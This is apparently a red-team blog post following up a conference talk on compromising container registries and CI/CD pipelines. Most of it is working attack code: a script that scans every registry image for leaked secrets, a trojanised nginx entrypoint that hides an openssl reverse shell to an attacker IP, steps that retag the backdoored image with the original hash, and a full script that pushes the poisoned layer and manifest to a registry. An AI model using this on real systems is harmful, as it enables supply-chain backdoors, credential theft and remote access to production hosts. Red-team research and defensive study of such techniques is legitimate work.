This post is to follow up some of the technical details for the talk I gave at the 2024 Red Team Summit. The talk itself covered the use of container registries and infiltration through CI/CD pipelines as a means of initial access and persistence. This post will cover some of the technical details and examples that I used in the talk.
The first thing to discuss is gaining initial access to a container registry. This can be done in a number of ways, but the most common is through the use of weak or leaked credentials. Once access is gained, the attacker can then upload a malicious image to the registry. This image can be used to gain access to the CI/CD pipeline and then to the production environment.
One of the things I mentioned was that ML/AI models are also at risk from these kinds of attacks. As an example, I mentioned kserve, the details of one such attack is detailed here: https://5stars217.github.io/2023-10-25-using-KServe-to-deploy-malicious-models/
Also mentioned was the EDR evasion in these environments isn’t as robust or sophisticated as what red teams may be used to seeing on Windows endpoints. Particularly when it comes to containers. A talk was given recently at KubeCon on this subject: https://kccnceu2023.sched.com/event/1Hybu/malicious-compliance-reflections-on-trusting-container-scanners-ian-coldwater-independent-duffie-cooley-isovalent-brad-geesaman-ghost-security-rory-mccune-datadog
Likewise, a talk by a collegue of mine talks a bit about running malware on Linux EDRs, and gauging the EDR response, and found that more obfuscation is more suspicious than less.
The following is an example of a script that can be used to scan a container registry for weak or leaked credentials. This script is written in Python and uses the requests library to interact with the registry API. This is just one example of a way to get easy access to credentials in your environment. I typically scan every single image in the registry as old images may have credentials that were later removed.
https://github.com/lockfale/container_registry_attacks/blob/main/registry-scan.py
import os
import subprocess
import requests
import base64
import json
from argparse import ArgumentParser
#Credit: https://digital-shokunin.net
def get_args():
parser = ArgumentParser()
parser.add_argument('-r','--registry', default='gchr.io', help='Ex: ghcr.io')
parser.add_argument('-o','--outputdir', default=f"{os.getcwd()}/output", help='Output directory, default: <current_working_directory>/output')
return parser.parse_args()
def get_docker_registry_catalog(registry_url):
catalog_url = f"{registry_url}/v2/_catalog"
response = requests.get(catalog_url)
if response.status_code == 200:
return response.json()["respositories"]
else:
print(f"Error getting catalog: {response.status_code}")
return []
def get_image_tags(registry_url, image_name):
tags_url = f"{registry_url}/v2/{image_name}/tags/list"
response = requests.get(tags_url)
if response.status_code == 200:
return response.json()["tags"]
else:
print(f"Error getting tags for {image_name}: {response.status_code}")
return []
def get_auth_string(config_file, registry):
with open(config_file, 'r') as file:
config_data = json.load(file)
auths = config_data.get("auths")
if auths:
registry_data = auths.get(f"https://{registry}")
if registry_data:
auth_string = registry_data.get("auth")
if auth_string:
return auth_string
else:
print(f"No auth data found for registry '{registry}' in Docker config.json")
else:
print(f"No data found for registry '{registry}' in Docker config.json")
else:
print(f"No auth entries found in Docker config.json file")
return None
def check_directory(directory):
if not os.path.exists(directory):
os.makedirs(directory)
def run_command(command):
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = process.communicate()
return_code = process.returncode
if return_code == 0:
return stdout.decode('utf-8')
else:
print(f"Error executing command: {stderr.decode('utf-8')}")
return None
def docker_pull(docker_image):
result = run_command(f"docker pull {docker_image}")
if result:
print(f"Docker image pulled: {docker_image}")
def docker_rmi(docker_image):
result = run_command(f"docker rmi {docker_image}")
if result:
print(f"Docker image removed: {docker_image}")
def run_scans(registry, image_name, tag, output_dir, docker_image=None):
"""
Run Docker scans
Parameters:
registry (string): Registry for image to be scanned
image_name (string): Name of Docker image to be scanned
tag (string): Tag for the Docker image to be scanned
output_dir (string): Output directory for scan output
docker_image (string): Optional, full Docker image string
"""
if docker_image is None:
docker_image=f"{registry}/{image_name}:{tag}"
if not len(image_name.split('/')[0]) == 0:
check_directory(f"{output_dir}/{registry}/{image_name.split('/')[0]}")
else:
check_directory(f"{output_dir}/{registry}")
vuln_report = f"{output_dir}/{registry}/{image_name}_{tag}_vulnerabilities.json"
secrets_report = f"{output_dir}/{registry}/{image_name}_{tag}_secrets.json"
if not os.path.isfile(vuln_report) and not os.path.isfile(secrets_report): #Skip if scan has been done report and only run secret report if already done
docker_pull(docker_image)
print(f"Scanning {docker_image}")
scan1 = f"trivy image {docker_image} --scanners vuln,config --report all --timeout 5m --format json > {vuln_report}"
result = run_command(scan1)
if result:
print(result)
if not os.path.isfile(secrets_report):
scan2 = f"trivy image {docker_image} --scanners secret --report all --timeout 5m --format json > {secrets_report}"
result = run_command(scan2)
if result:
print(result)
docker_rmi(docker_image)
else:
print(f"{docker_image} already scanned, skipping...")
def main(registry, output_dir):
home = os.path.expanduser("~")
docker_config_file=f"{home}/.docker/config.json"
auth_string = get_auth_string(docker_config_file, registry)
registry_url = f"https://{base64.b64decode(auth_string).decode('utf-8')}@{registry}"
image_names = get_docker_registry_catalog(registry_url)
num_images = len(image_names)
images_scanned = 0
for image_name in image_names:
tags = get_image_tags(registry_url, image_name)
images_scanned += 1
num_tags = len(tags)
total_images = num_images * num_tags
tags_scanned = 0
for tag in tags:
tags_scanned += 1
run_scans(registry, image_name, tag, output_dir)
print(f"Scanned {images_scanned} of {num_images}, Tag {tags_scanned} of {num_tags}")
print(f"{total_images - (images_scanned * tags_scanned)} left")
if __name__ == "__main__":
args = get_args()
main(args.registry, args.outputdir)
curl -X POST -siL -v -H "Connection: close" https://registry-rw.awsvip.company.net:443/v2/alpine/blobs/uploads | grep Location | sed '2q;d' | cut -d: -f2- | tr -d ' ' | tr -d '\r'
FROM nginx
ADD ./docker-entrypoint.sh /docker-entrypoint.sh
ENTRYPOINT /docker-entrypoint.sh
For this I take the original docker-entrypoint.sh file and modify it. I just use a simple GTFObin reverse shell for this example, but it could kick off something more sophisticated.
#!/bin/sh
# vim:sw=4:ts=4:et
set -e
entrypoint_log() {
echo mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect $IP:4443 > /tmp/s; rm /tmp/s \
& disown
if [ -z "${NGINX_ENTRYPOINT_QUIET_LOGS:-}" ]; then
echo "$@"
fi
}
if [ "$1" = "nginx" ] || [ "$1" = "nginx-debug" ]; then
if /usr/bin/find "/docker-entrypoint.d/" -mindepth 1 -maxdepth 1 -type f -print -quit 2>/dev/null | read v; then
entrypoint_log "$0: /docker-entrypoint.d/ is not empty, will attempt to perform configuration"
Afterwards I build the docker image.
docker build -t nginx:cd10dbdf04b5ab4f31827a888d3e9e399d5836eeab57da916fc3cbb095e551d3 .
In the above example, the hash I tag it with is the hash of the original image. This will create the same tag in the image’s manifest.
docker save -o nginx.tar nginx:52478f8cd6a142fd462f0a7614a7bb064e969a4c083648235d6943c786df8cc7
tar x nginx
./upload.sh https://registry.awsvip.company.net nginx /home/user/ffde6802d16bbe3d87e2ace3e2e69e1b97cbbd7ac53095d98083b343f1f2d9d8/layer.tar
/home/user/nginx/ffde6802d16bbe3d87e2ace3e2e69e1b97cbbd7ac53095d98083b343f1f2d9d8/json
Full script here: https://github.com/lockfale/container_registry_attacks/blob/main/upload.sh
#!/bin/bash
# Author 5stars217 https://5stars217.github.io/
#!/bin/bash
# Global Variables
MANIFEST="./Manifest.json"
DOCKER_HOST=$1
REPOSITORY=$2
LAYERPATH=$3
CONFIGPATH=$4
SIZE=
DIGEST=
LOCATION=
CONFIGSIZE=
CONFIGDIGEST=
LAYERSIZE=
LAYERDIGEST=
# Functions
function startUpload(){
LOCATION=$(curl -X POST -siL -v -H "Connection: close" $DOCKER_HOST/v2/$REPOSITORY/blobs/uploads | grep Location | sed '2q;d' | cut -d: -f2- | tr -d ' ' | tr -d '\r')
}
function uploadLayer(){
layersize=$(stat -c%s "$1")
LOCATION=$(curl -X PATCH -v -H "Content-Type: application/octet-stream" \
-H "Content-Length: $layersize" -H "Connection: close" --data-binary @"$1" \
$LOCATION 2>&1 | grep 'Location' | cut -d: -f2- | tr -d ' ' | tr -d '\r')
SIZE=$layersize
}
function finalizeLayer(){
DIGEST=$(curl -X PUT -v -H "Content-Length: 0" -H "Connection: close" $LOCATION?digest=sha256:$(sha256sum $1 | cut -d ' ' -f1) | grep Docker-Content-Digest | awk '{print $2}' | tr -d '\r')
}
function pushManifest(){
((size=$(stat -c%s "$MANIFEST")-1))
curl -X PUT -vvv -H "Content-Type: application/vnd.docker.distribution.manifest.v2+json" \
-H "Content-Length: $size" -H "Connection: close" \
-d "$(cat "$MANIFEST")" $DOCKER_HOST/v2/$REPOSITORY/manifests/3.15.4
}
# Check Parameters
if [ $# -lt 4 ]
then
echo "Error: No arguments supplied."
echo "Usage: upload.sh <DOCKER_HOST> <REPOSITORY> <LAYER> <CONFIG>"
exit 1
fi
# Upload Layer
startUpload
uploadLayer $LAYERPATH
LAYERSIZE=$SIZE
finalizeLayer $LAYERPATH
LAYERDIGEST=$DIGEST
# Upload Config
startUpload
uploadLayer $CONFIGPATH
CONFIGSIZE=$SIZE
finalizeLayer $CONFIGPATH
CONFIGDIGEST=$DIGEST
cat > $MANIFEST << EOF
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"size": $CONFIGSIZE,
"digest": "$CONFIGDIGEST"
},
"layers": [
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": $LAYERSIZE,
"digest": "$LAYERDIGEST"
}
]
}
EOF
pushManifest
Likewise, once you get into thei CI/CD pipeline, you can continue to move throughout the CICD pipeline. Boost Security recently put out a sit called LoTP (Live off the Pipeline) that shows way to utilize common tools in a CICD pipeline to your advantage. https://boostsecurityio.github.io/lotp/